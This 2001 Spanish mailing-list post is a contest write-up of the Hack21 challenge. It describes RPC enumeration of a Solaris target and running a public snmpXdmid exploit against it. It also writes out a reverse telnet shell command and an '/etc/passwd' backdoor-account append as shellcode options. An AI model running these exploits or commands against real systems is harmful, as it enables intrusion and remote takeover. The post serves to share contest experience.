[HACK] Hack21: intentando arrojar luz sobre un pozo sin fondo? :-)

RoMaNSoFt roman at madrid.com
Fri Nov 30 10:25:55 CET 2001


 Bueno, yo os comento algunos detalles técnicos. No es nada nuevo,
pero no está mal hacer un pequeño compendio, ya que los que realmente
lo deberían hacer me temo que no lo harán nunca :-)

On Thu, 29 Nov 2001 08:21:38 -0500, you wrote:

>El bug de DNS es este
>
>http://www.securityfocus.com/archive/1/159035
>
>verdad?

 Bueno, en ese doc se describen varias vulnerabilidades. Según s21sec
era vulnerable a los 2 últimos bugs de ese doc:

* 29/1/2001 Desbordamiento de pila en la función sprintf() bajo ISC
BIND-4 
CVE: CAN-2001-11
BugTraq: 2307
Tipo: Error de validación de introducción 
http://www.securityfocus.com/bid/2307 -> Requiere control NS

* 29/1/2001 Vulnerabilidad en el formato de la cadena en la función
nslookComplain() bajo ISC BIND-4 
CVE: CAN-2001-13 
BugTraq: 2309
Tipo: Error de validación de introducción 
http://www.securityfocus.com/bid/2309 -> Requiere control NS

 No existe exploit público para ninguno de los 2 bugs, pero sí lo hay
a nivel privado. Y como he recalcado, se requiere acceso a un NS
"authoritative". Como ya he dejado bien clara mi postura ante esto, y
además este post es más técnico que otra cosa no entro  a discutir
este punto.

 Respecto al tema del rpc es trivial localizar el servicio ya que
portmapper estaba abierto:
roman at goliat:~/hack21/rpc > /usr/sbin/rpcinfo -p 217.15.35.1
   programa vers proto   puerto
    100000    4   tcp    111  portmapper
    100000    3   tcp    111  portmapper
    100000    2   tcp    111  portmapper
    100000    4   udp    111  portmapper
    100000    3   udp    111  portmapper
    100000    2   udp    111  portmapper
    100249    1   udp  33121
    100249    1   tcp  34765
    300598    1   udp  33124
    300598    1   tcp  34766
 805306368    1   udp  33124
 805306368    1   tcp  34766

<pausa para un kitkat>
 Por cierto, un pequeño detalle donde muchos han caido (yo al
principio tb caí pero lo subsané rápidamente xDD). Si lanzabas el
rpcinfo como root la máquina no respondía. Parece extraño, ¿verdad?
Pues no lo es: si cogeis tcpdump (o cualquier otro sniffer) y
observais el tráfico de rpcinfo en ambos casos se observa una
"pequeña" diferencia:
- si se lanza rpcinfo como root el puerto origen usando para los
paquetes es privilegiado (<1024)
- si lo lanzamos como usuario corriente el puerto es no privilegiado
(>=1024).

 Pues bien, el firewall del concurso filtraba los paquetes del primer
tipo. Por eso no funcionaba rpcinfo lanzado como root.
</pausa para un kitkat>

 Siguiendo con el análisis de los puertos rpc:

snmpXdmid	100249
(Sun Solstice Enterprise SNMP to DMI mapper subagent
/usr/lib/dmi/snmpXdmid )
dmispd		300598     # Sun Solstice Enterprise DMI Service
Provider
dmispd		805306368  # Sun Solstice Enterprise DMI Service
Provider

 Y casualmente tenemos:

* snmpXdmid bug:
http://www.securityfocus.com/bid/2417
http://lsd-pl.net/code/SOLARIS/solsparc_snmpxdmid.c

 Luego aquí tenemos el bug en cuestión y un exploit para sparc.
Si lo lanzamos:

roman at goliat:~/hack21/rpc > ./solsparc_snmpxdmid 217.15.35.1 -v 8
copyright LAST STAGE OF DELIRIUM mar 2001 poland  //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

adr=0x000e69c0 timeout=10 port=43828 connected! sent!

 Si acto seguido le hacemos un rpcinfo a la máquina podemos comprobar
que el servicio 100249 ya no está. O lo que es lo mismo, ha caido
debido a nuestro exploit. Esto confirma que efectivamente es
vulnerable al bug.

 Más "trucos sucios", a ver xDDD Hubo ocasiones en que el servicio
estaba realmente caido pero portmapper lo seguía listando como activo.
Una forma de comprobar esto era haciendo un telnet al puerto tcp
asociado al servicio rpc 100249 (que cambia de puerto cada vez que se
reinicia el servicio!). Por ejemplo, para ser coherente con el log de
arriba de rpcinfo habría que hacer un telnet al puerto 34765. Sí, al
puerto tcp. El servicio abre 2 puertos: uno tcp y otro udp. En
realidad el que se explota (al menos los exploits que he visto) es el
udp, pero cuando el demonio peta (el servicio cae) caen ambos puertos,
por razones obvias :-). Y es más sencillo comprobar un puerto tcp, que
uno udp, ¿verdad? ;-))) Por cierto, confirmo que el servicio rpc
estuvo al menos una noche entera caida de la forma que comento, es
decir, portmapper lo mantenía como registrado pero realmente estaba
caido. Sup que dejaron corriendo algún script que rearrancaba el
servicio cuando alguien lo petaba, pero éste no detectaba el caso
comentado (seguramente el script consultaba a portmapper, en vez de
hacerlo tb al propio servicio). Ejem... ]:-)

 Bien, ahora viene lo chungo. Ya sabemos el bug, tenemos un posible
exploit pero éste no funciona. Un nmap a la máquina indicaba Solaris
2.6, aunque tampoco nos podiamos fiar de eso. Bien, analizando un poco
la situación: los servicios rpc que pusieron son típicos de Solaris
(Solstice...) luego esto confirma que efectivamente se trata de una
máquina Solaris. De la versión sigo sin fiarme. Ahora viene la
pregunta: ¿sparc o x86? (gluh).

 Sigo mi razonamiento: pruebo el exploit de LSD, que contempla las
versiones 2.7 y 2.8 (solo trae offsets para estos 2 versiones). Lo
lanzo, y nada de nada. Así vamos eliminado casos, ya intuimos que 2.7
y 2.8 sparc no son. Me asalta la duda: ¿y si es x86? Una máquina x86
es más económica para un concurso así que (pensaba) es muy probable
que sea un x86.

 Ok, sigo investigando, y consigo dar con el exploit para x86 (que es
"semi-público": no es fácil de encontrar aunque se puede, yo lo hice).
Dicho exploit se supone que es para 2.6 x86. Lo lanzo y tampoco
funciona. Era el momento de darme una pequeña inyección de moral:
consigo (legalmente, eh?) una shell en una máquina 2.8 x86. Hago
varias pruebas y consigo explotar el bug snmpXdmid con el xploit x86.
Bien, al menos algo me ha funcionado, aunque sirva de poco :-). Hago
algunas pruebas, modifico un pelín la shellcode del exploit para que
ejecute "/usr/sbin/reboot;". Lanzo el exploit contra mi máquina de
pruebas y funciona (la máquina rebota). ¿Qué consigo con esto? Pues
puedo ver si el exploit funciona, independientemente de cualquier fw
que haya por medio. Me explico: si la máquina corriera ssh o telnet,
lo más fácil es ejecutar desde la shellcode el clasico "echo
user::.... >>/etc/passwd" y luego intentar entrar por ssh/telnet. Pero
como la máquina no corría ningun servicio de estos, nos quedan pocas
opciones (así resumiendo un poco):
a) bindear shell a algun puerto
b) telnet inverso (es decir, poner como shellcode algo como:
/bin/telnet mimaquina 14000 | /bin/sh | /bin/telnet mimaquina 15000)
c) ejecutar algun comando local

 El problema de a) y b) es que para que funcione debe atravesar el
firewall. Y con la mala uva con que estaba diseñado el concurso no me
fiaba ni un pelo. Así que lo mejor era c). Si le pones como comando un
reboot y el exploit funciona (es decir, se rebota), esto lo puedes
detectar (por ejemplo, la web que tb corria el servidor del concurso
dejaria de funcionar, el servidor de nombres, etc). Es una solución
drástica pero efectiva. Y como era para un concurso...

 Pues bien lanzando el exploit x86 contra la máquina del concurso el
servicio petaba pero el xploit no rulaba. Luego ya podiamos asegurar
que 2.6x86 y 2.8x86 tampoco era. Es más, el xploit de x86 tiene
grandes posibilidades de rular tb en 2.7, lo que quiere decir, que
2.7x86 tampoco debía ser.

 Por tanto, llegué a la conclusión de que era un Solaris 2.6 sparc
realmente (lo que era coherente con nmap). Bien, s21sec confirmaría
más tarde que efectivamente estaba en lo cierto ;-)))

 En ese momento creo que quedaba 1 hora para que finalizase
oficialmente el concurso, no tenía a mano ninguna máquina sparc para
hacer pruebas, tampoco estaba en la labor de dejar corriendo un
scriptillo que fuera lanzando el xploit con sucesivos offsets (que
ahora que lo pienso es lo que debería haber hecho) y estaba hasta
los... (ejem), quiero decir, estaba ya bastante cansado así que apagué
mi portatil y me acosté. Ahi acabó el concurso para mí =)))).

 No estoy de acuerdo con vmunozal at ford.com, que afirmó que no era un
concurso donde no se aprendía nada. Siempre se aprende algo.
Evidentemente no es como hackerslab (altamente recomendado) pero
siempre es una experiencia y como tal, en mayor o menor grado, siempre
se aprende algo. En mi caso, nunca había tocado el bug ese del rpc, y
el concurso me sirvió para probarlo e incluso conseguir explotarlo en
x86, tomar más práctica con nmap, repasar conceptos básicos de SQL (xq
muchos tb lo intentamos con el formulario web del concurso; me
abstengo de comentarios pq me voy a poner de mala leche xDD), intentar
escribir al foro del concurso (que era casi más dificil que el propio
concurso xDDD), etc.

 La experiencia siempre es positiva aunque mejorable con creces.

 Salu2,
 --Roman




More information about the hacking mailing list